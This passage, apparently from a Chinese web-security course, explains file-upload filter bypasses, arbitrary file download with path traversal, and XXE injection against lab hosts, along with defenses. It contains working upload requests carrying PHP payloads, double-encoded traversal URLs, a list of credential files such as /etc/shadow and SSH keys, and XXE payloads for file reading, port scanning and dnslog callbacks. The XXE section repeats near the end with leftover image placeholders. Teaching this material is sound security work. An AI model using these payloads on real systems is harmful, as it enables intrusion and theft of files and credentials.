        <p><input type="file" name="f"></p>
        <p><input type="button" value="上传" name="btn_smt" onclick="upload()"></p>
    </form>
</body>

<script>
   function upload(){
     fm = document.getElementById("fm");
     fm.submit();
   }
</script>

</html>

php代码

<?php
$tmp = $_FILES['f']['tmp_name'];
$name = $_FILES['f']['name'];

move_uploaded_file($tmp,"/opt/lampp/htdocs/uploadfiles/".$name);

?>

四、文件上传防御和绕过

1.前端验证

上面的上传代码对文件没有做任何限制

可以从前端js限制用户上传的文件类型,如果不在文件类型的白名单中,拒绝上传

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>文件上传</title>  
</head>
<body>
    <h1>文件上传</h1>
    <form action="uploadfiles.php" id="fm" method="post" enctype="multipart/form-data">

        <p><input type="file" name="f" id="f"></p>
        <p><input type="button" value="上传" name="btn_smt" onclick="upload()"></p>
    </form>
</body>

<script>
   function upload(){
    //对文件类型做检查
    f = document.getElementById("f");
    index = f.value.lastIndexOf(".");
    ext = f.value.substr(index+1);
    if(ext=='jpg' || ext=='png' || ext == 'jpeg'){
     fm = document.getElementById("fm");
     fm.submit();
    }else{
        alert('上传的文件不合法')
    }

   }
</script>

</html>

这种前端js校验很容易绕过

使用python代码绕过, 直接上传文件:

import  requests

url = "http://192.168.43.128/uploadfiles/uploadfiles.php"

formdata={
    "f":("m3.php" , open("C:/Users/Administrator/Desktop/tmp/m3.php","rb"), "text/plain")
}
requests.post(url,files=formdata)

==============
使用burp拦截,也可以绕过前端检查
1)把要上传的m4.php先修改扩展名,改成m4.jpg
2)打开burp,拦截上传的请求
3)把上传的文件名改回m4.php

2.MIME验证

MIME文件类型列表:

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Basics_of_HTTP/MIME_types/Common_types

后端服务程序做文件类型检查

<?php

$tmp = $_FILES['f']['tmp_name'];
$name = $_FILES['f']['name'];
$type = $_FILES['f']['type'];

if($type=='image/png' || $type=='image/jpeg'){
    move_uploaded_file($tmp,"/opt/lampp/htdocs/uploadfiles/".$name);
}else{
    echo "文件类型不合法";
}

?>

这种后端程序做MIME类型检查,也是很容易绕过的,方法如下:

1) 打开burp代理
2)选择一个php文件上传
3)burp拦截到上传请求后,把请求头中的Content-Type: 值设置为image/png 即可

以上允许传图片的检测方式,还可以使用图片马绕过,但是要想利用,需要结合文件包含才可以。

3.大小写绕过

后端通过定义一个文件扩展名的黑名单列表,阻止非法的文件

<?php
$tmp = $_FILES['f']['tmp_name'];
$name = $_FILES['f']['name'];
$type = $_FILES['f']['type'];

//定义一个不允许的扩展名的列表(黑名单)
$extlist = ['php','html','jsp','asp','aspx'];
$ext = end(explode(".",$name));
if(in_array($ext,$extlist)){
    die("文件类型不合法");
}else{
    move_uploaded_file($tmp,"/opt/lampp/htdocs/uploadfiles/".$name);
}
?>

这个可以通过大小写绕过。上传文件的时候,把文件的扩展名写成m4.PHP

4.点空格绕过

为了防住大小写绕过,可以把扩展名一律转为小写,再比较,再上面的代码中加上一句

$ext = end(explode(".",$name));//获取最后一个点后面的扩展名
$ext = strtolower($ext);//一律转成小写

针对上面都转成小写,并且检查php结尾的防御,可以在上传文件的扩展名后面再增加一个.

这需要使用burp来拦截,拦截请求后,把文件名后面增加一个.

POST /uploadfiles/uploadfiles.php HTTP/1.1
Host: 192.168.43.128
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.43.128/uploadfiles/index1.html
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------6164102741675
Content-Length: 214

-----------------------------6164102741675
Content-Disposition: form-data; name="f"; filename="m4.php."
Content-Type: application/octet-stream

<?php phpinfo();?>

-----------------------------6164102741675

服务端程序可以进一步优化,把文件名后面的所有.都去掉,再比较扩展名是否允许

<?php

function deldot($filename){
    // 正则表达式匹配字符串末尾的一个或多个点号  
    $pattern = '/\.+$/';  
    // 使用preg_replace删除匹配的部分  
    $result = preg_replace($pattern, '', $filename);  
    return $result;  
 
}

$tmp = $_FILES['f']['tmp_name'];
$name = $_FILES['f']['name'];
$type = $_FILES['f']['type'];
echo "$name";
$name = deldot($name);
echo "$name";

//定义一个不允许的扩展名的列表(黑名单)
$extlist = ['php','html','jsp','asp','aspx'];
$ext = end(explode(".",$name));//获取最后一个点后面的扩展名
$ext = strtolower($ext);//一律转成小写
if(in_array($ext,$extlist)){
    die("upload fail");
}else{
    move_uploaded_file($tmp,"/opt/lampp/htdocs/uploadfiles/".$name);
}


?>

针对把文件名末尾的所有的.都去掉的情况可以在文件名的末尾使用的多个.中间增加空格

POST /uploadfiles/uploadfiles.php HTTP/1.1
Host: 192.168.43.128
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.43.128/uploadfiles/index1.html
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------2605197738809
Content-Length: 221

-----------------------------2605197738809
Content-Disposition: form-data; name="f"; filename="m4.php. ....."
Content-Type: application/octet-stream

<?php phpinfo();?>

-----------------------------2605197738809--

5.改后缀名绕过

如果防御程序把文件名后面的点以及空格都删除的话。还可以通过下面的方式绕过,文件名改成m4.php.aa.bb.cc

访问的时候依然正常访问。php程序还是会被执行

http://192.168.43.128/uploadfiles/include.php?f=m4.php.aa.bb.cc

原理:php引擎在解析url的时候,会从右向左依次按照.隔开,去寻找是否有php这种扩展名,如果找到了,就按照php执行

POST /uploadfiles/uploadfiles.php HTTP/1.1
Host: 192.168.43.128
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.43.128/uploadfiles/index1.html
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------2605197738809
Content-Length: 217

-----------------------------2605197738809
Content-Disposition: form-data; name="f"; filename="m4.php.aa.bb.cc"
Content-Type: application/octet-stream

<?php phpinfo();?>

-----------------------------2605197738809--

6.特殊后缀名绕过

如果程序中把文件名中的php,asp,jsp等等类似的字符串替换为空字符

$filename = str_replace("php","",$filename);
这种情况可以进行双写绕过 
还可以大小写绕过
上传文件的时候,把扩展名写成aa.pphphp

apache配置文件导致的绕过

这个配置增加后,apache会把扩展为 php3,php5文件都作为php来执行,但是程序员在做检查的时候,不知道这个配置,只是检查了php的扩展名

在httpd.conf目录中,找到AddType application/x-httpd-php
在后面添加.php3 .php5
重启apache  : /opt/lampp restart

image-20240310121032033

7.配置.htaccess绕过

还有另外一种依靠配置文件绕过的方法

首先在/opt/lampp/etc/httpd.conf中有个配置项AllowOverride 需要设置为All

image-20240321162045464

其次,在php文件所在的目录中有一个名称为.htaccess的配置文件,其中配置了可以被当做php执行的文件的扩展名:

//这个文件名字必须是.htaccess,它通过指明特定文件以php解析方式,这里配置就是xac结尾的文件当做php来执行。实现绕过
<FilesMatch "\.xac$">
   SetHandler application/x-httpd-php
</FilesMatch>
8.windows改::$DATA绕过

在windows系统中,可以使用在文件名后面增加::$DATA来绕过黑名单检查

使用burp拦截请求,并把文件名修改,在后面增加::$DATA

如下参数burp拦截的请求

POST /hz02/posts/uploadfiles.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://localhost/hz02/posts/index1.html
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------18547967226319
Content-Length: 216

-----------------------------18547967226319
Content-Disposition: form-data; name="f"; filename="m4.php::$DATA"
Content-Type: application/octet-stream

<?php phpinfo();?>

-----------------------------18547967226319--

以上所有都是基于黑名单的防御和绕过

9.白名单绕过

下面的是基于白名单:

<?php
function deldot($filename){
    // 正则表达式匹配字符串末尾的一个或多个点号  
    $pattern = '/\.+$/';  
    // 使用preg_replace删除匹配的部分  
    $result = preg_replace($pattern, '', $filename);  
    return $result;   
}

$tmp = $_FILES['f']['tmp_name'];
$name = $_FILES['f']['name'];
$type = $_FILES['f']['type'];
echo "$name";
$name = deldot($name);
echo "$name";

//定义一个允许的扩展名的列表(白名单)
$extlist = ['jpg','jpeg','png'];
$ext = end(explode(".",$name));//获取最后一个点后面的扩展名
$ext = strtolower($ext);//一律转成小写

if(in_array($ext,$extlist)){
    move_uploaded_file($tmp,"/opt/lampp/htdocs/uploadfiles/".$name);
    
}else{
    die("upload fail");
}

?>

这种情况可以考虑使用图片马,但是要结合文件包含的漏洞。

⑤文件下载漏洞

一、概念:

在php中,由于对用户输入没有校验,可以通过文件下载访问任意文件。

$file=$_GET['file'];
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=".basename($file));
echo file_get_contents($file);

payload:

linux:

xx.php?file=/etc/passwd
xxx.php?file=db.php

windows:

xxx.php?file=C:\boot.ini

敏感文件:

windows:

C:\boot.ini//查看系统版本
C:\Windows\win.ini//基本系统配置文件
C:\Windows\System32\inetsrv\MetaBase.xml//IIS配置文件
C:\Windows\repair\sam//存储系统初次安装的密码
C:\ProgramFiles\mysql\my.ini//Mysql配置
C:\ProgramData\MySQL\mysqlxxx\my.ini 
C:\ProgramFiles\mysql\data\mysql\user.MYD//Mysqlroot
C:\Windows\php.ini//php配置信息
C:\Windows\my.ini//Mysql配置信息

linux:

/root/.ssh/authorized_keys//ssh登录认证文件
/root/.ssh/id_rsa//公钥文件
/root/.ssh/id_rsa.keystore//密钥存放文件
/root/.ssh/known_hosts//已访问过的主机公钥记录文件
/etc/passwd//用户信息
/etc/shadow//密码存放文件
/etc/my.cnf//mysql配置文件
/etc/httpd/conf/httpd.conf//apache配置文件
/root/.bash_history//记录系统历史命令文件
/root/.mysql_history//记录数据库历史命令文件
/proc/self/fd/fd[0-9]*(文件标识符)//连接当前正运行的进程
/proc/mounts//已挂载的文件系统信息
/porc/config.gz//内核配置文件

二、危害

获取服务器上的文件和资料。

三、防御和绕过:

1.加前缀:
$file=$_GET['file'];
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=".basename($file));
echo file_get_contents('/opt/lampp/htdocs/hz02/posts/upload/'.$file);//把下载的文件增加绝对路径限制

此时如果想下载/etc/passwd,是无法下载到正确文件的。

http://192.168.128.128/hz02/posts/download.php?file=/etc/passwd

绕过方式: 目录穿越(…/…/…/…/…/etc/passwd)

http://192.168.128.128/hz02/posts/download.php?file=../../../../../../../../../../../etc/passwd
2.防御目录穿越:去掉…/
$file = str_replace("../","",$file);

如果php代码中,手工使用urldecode来解码$file变量,那么可以采用下面的两次url编码绕过

echo file_get_contents('/opt/lampp/htdocs/hz02/posts/upload/'.urldecode($file);//手工使用urldecode解码文件名称

此时,我们在请求的时候,可以使用两次url编码来做目录穿越,如下:

第一次url编码:把../编码为%2e%2e%2f
http://192.168.128.128/hz02/posts/download.php?file=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
第二次url编码:把上面的%2e%2e%2f再一次进行url编码
http://192.168.128.128/hz02/posts/download.php?file=%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66etc/passwd
3.前缀加后缀
echo file_get_contents('/opt/lampp/htdocs/hz02/posts/upload/'.$file.'.jpg');//加了前缀路径,还增加了后缀扩展名

前缀加后缀的就很难绕过了

4.文件名保存在数据库

url中传id,具体文件名在数据库中,或在配置文件中取出,这种就没什么办法绕过了。因为用户的输入不能决定下载哪个文件。

5.只加了后缀, 远程文件包含的绕过:

如果没有加前缀,只加了后缀,那么远程文件包含可以通过?来绕过

例如:这段下载的代码

<?php 
$file=$_GET['file'];
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=".basename($file));

echo file_get_contents($file.".jpg");

?>

请求下载远程的文件,这里的远程文件地址后面跟着?a=b,再拼接上php中的.jpg就变成了a=b.jpg这个参数是传给cspreport.txt的,这样就绕过了后缀,直接下载的是cspreport.txt

http://localhost/hz02/posts/download.php?file=http://192.168.161.128/jsonp/cspreport.txt?a=b
6.%00截断字符(低版本使用)

%00截断字符绕过后缀,只使用与PHP5.3以及更低版本,并且magic_quotes_gpc = Off才可以。

%00是\0的url编码,在c语言中代表字符串的结束。
magic_quotes_gpc = On会自动开始特殊字符的转码,单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符都会被加上反斜线;这个选项在PHP5.4中就已经开始废弃了
7.指定路径

配置在php.ini中open_basedir,指定路径,只能访问某个指定目录或子目录中的内容,包括php文件,其他目录都不可以访问

open_basedir = D:\xampp8\htdocs\hz02\posts\

当我们尝试下载文件的时候,

http://localhost/hz02/posts/download.php?file=C:\Users\Administrator\Desktop\tmp\paswd

会报错:

Warning: file_get_contents(): open_basedir restriction in effect. File(C:\Users\Administrator\Desktop\tmp\paswd) is not within the allowed path(s): 

四、小总结

绕过:

1、目录穿越: ../../../,绕过前缀目录

2、二次编码绕过: 把../经过两次编码

3、远程文件包含使用?绕过后缀

4、%00截断字符绕过后缀,只使用与PHP5.3以及更低版本,并且magic_quotes_gpc = Off才可以。

防御:

1、配置open_basedir

2、包含或下载的文件名称不允许用户输入,直接写死在代码中

3、检查用户输入的参数,过滤../../../ 或经过编码的%2e%2e%2f

4、禁止使用远程包含,关闭allow_url_include 参数

5、添加白名单,不在白名单中的禁止使用

⑥XXE外部实体注入

一、概述

XXE(XML External Entity Injection)xml外部实体注入

二、前提

Web应用的脚本代码没有限制XML引入外部实体,从而导致测试者可以创建一个包含外部实体的XML,使得其中的内容会被服务器端执行

注意:这个漏洞必须是在libxml2.9.1这个版本以及更低的版本才能利用。

三、危害

当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害

四、XML基础

1、语法规则:

XML必须有个根元素
XML标签必须具有结束标记
XML标签区分大小写
XML元素必须正确嵌套
XML属性值必须始终加引号

<note date="12/11/2007">
  <to>Tove</to>
  <from>Jani</from>
</note>

五、实体

1、DTD(document type definition)

文档类型声明:DTD的作用是定义XML文档的合法构造模块,可以在内部声明,也可以外部引用

所有的XML文档都由五种简单的构建模块(元素,属性,实体,PCDATA CDATA)构成

内部声明:

<!--XML申明-->
<?xml version="1.0"?> 

<!--文档类型定义-->
<!DOCTYPE user [  <!--定义此文档是 user 类型的文档-->
<!ELEMENT user (name,age,sex,saying)>  <!--定义user元素有四个元素-->
<!ELEMENT name (#PCDATA)>     <!--定义name元素为”#PCDATA”类型-->
<!ELEMENT age (#PCDATA)>   <!--定义age元素为”#PCDATA”类型-->
<!ELEMENT sex (#PCDATA)>   <!--定义sex元素为”#PCDATA”类型-->
<!ELEMENT saying (#PCDATA)>   <!--定义saying元素为”#PCDATA”类型-->
]]]>

<!--文档元素-->
<user>
<name>alex</name>
<age>22</age>
<sex>man</sex>
<saying>I can do anything I want</saying>
</user>

外部声明:

user.dtd

<!--XML申明-->
<?xml version="1.0"?> 

<!--文档类型定义-->
<!DOCTYPE  [  <!--定义此文档是 user 类型的文档-->
<!ELEMENT user (name,age,sex,saying)>  <!--定义user元素有四个元素-->
<!ELEMENT name (#PCDATA)>     <!--定义name元素为”#PCDATA”类型-->
<!ELEMENT age (#PCDATA)>   <!--定义age元素为”#PCDATA”类型-->
<!ELEMENT sex (#PCDATA)>   <!--定义sex元素为”#PCDATA”类型-->
<!ELEMENT saying (#PCDATA)>   <!--定义saying元素为”#PCDATA”类型-->
]]]>

xml内容

user.xml

<!--XML申明-->
<?xml version="1.0"?> 

<!--文档类型定义-->
<!--定义此文档是 note 类型的文档-->
<!DOCTYPE user SYSTEM "user.dtd">

<!--文档元素-->
<user>
<name>alex</name>
<age>22</age>
<sex>man</sex>
<saying>I can do anything I want</saying>
</user>

2、实体:

在DTD中声明的变量就是实体,通过在标签中使用&实体名;引用

(1)内部实体:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY name "alex">]>
<foo>
        <value>&name;</value> 
</foo>

(2)外部实体:<!ENTITY 实体名 SYSTEM 文件名>

test.dtd

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY xxe "abcefg">]>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<foo>
    <user>&xxe;</user>
    <pass>mypass</pass>
</foo>

区别:内部实体变量值是固定的,而外部实体是给定外部文件中获取。

六、外部实体漏洞

当外部实体引用的文件变为用户可控输入时,用户就可以使用任意地址来getshell

<!ENTITY name SYSTEM 任意文件路径>

php代码:

<?php
    $xml = file_get_contents("php://input");

    $data = simplexml_load_string($xml,"SimpleXMLElement",LIBXML_NOENT);
    echo $data;
?>

payload:

http://192.168.32.129/secure21/php/xxedemo.php

post正文:

<?xml version="1.0"?>
<!DOCTYPE node[
	<!ENTITY woniu SYSTEM "file:///etc/passwd">
]>
<node>&woniu;</node>

也可以使用base64获取代码
<?xml version="1.0"?>
<!DOCTYPE node[
	<!ENTITY woniu SYSTEM "php://filter/read=convert.base64-encode/resource=/opt/lampp/htdocs/hz02/posts/testxxe.php">

]>
<node>&woniu;</node>


也可以扫描端口:端口开放应该没有响应,不开放,会报错
<?xml version="1.0"?>
<!DOCTYPE node[
	<!ENTITY woniu SYSTEM "http://192.168.108.128:3306">
]>
<node>&woniu;</node>

image-20240319235001967

DNS带外探测:

dnslog.cn申请临时域名

image-20240319235323263

payload:

在临时域名前增加test.

<?xml version="1.0"?>
<!DOCTYPE node[
	<!ENTITY woniu SYSTEM "http://test.kxhkip.dnslog.cn">
]>
<node>&woniu;</node>

image-20240319235505129

访问后发现有dns日志,说明存在这个xxe的漏洞

<?xml version="1.0"?> alex 22 man I can do anything I want

2、实体:

在DTD中声明的变量就是实体,通过在标签中使用`&实体名;`引用

(1)内部实体:

```xml-dtd
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY name "alex">]>
<foo>
        <value>&name;</value> 
</foo>

(2)外部实体:<!ENTITY 实体名 SYSTEM 文件名>

test.dtd

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY xxe "abcefg">]>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<foo>
    <user>&xxe;</user>
    <pass>mypass</pass>
</foo>

区别:内部实体变量值是固定的,而外部实体是给定外部文件中获取。

六、外部实体漏洞

当外部实体引用的文件变为用户可控输入时,用户就可以使用任意地址来getshell

<!ENTITY name SYSTEM 任意文件路径>

php代码:

<?php
    $xml = file_get_contents("php://input");

    $data = simplexml_load_string($xml,"SimpleXMLElement",LIBXML_NOENT);
    echo $data;
?>

payload:

http://192.168.32.129/secure21/php/xxedemo.php

post正文:

<?xml version="1.0"?>
<!DOCTYPE node[
	<!ENTITY woniu SYSTEM "file:///etc/passwd">
]>
<node>&woniu;</node>

也可以使用base64获取代码
<?xml version="1.0"?>
<!DOCTYPE node[
	<!ENTITY woniu SYSTEM "php://filter/read=convert.base64-encode/resource=/opt/lampp/htdocs/hz02/posts/testxxe.php">

]>
<node>&woniu;</node>


也可以扫描端口:端口开放应该没有响应,不开放,会报错
<?xml version="1.0"?>
<!DOCTYPE node[
	<!ENTITY woniu SYSTEM "http://192.168.108.128:3306">
]>
<node>&woniu;</node>

[外链图片转存中…(img-fl8RORS2-1711174666919)]

DNS带外探测:

dnslog.cn申请临时域名

[外链图片转存中…(img-FpNmfzxC-1711174666920)]

payload:

在临时域名前增加test.

<?xml version="1.0"?>
<!DOCTYPE node[
	<!ENTITY woniu SYSTEM "http://test.kxhkip.dnslog.cn">
]>
<node>&woniu;</node>

[外链图片转存中…(img-YmjzOe9V-1711174666920)]

访问后发现有dns日志,说明存在这个xxe的漏洞

image-20240319235534808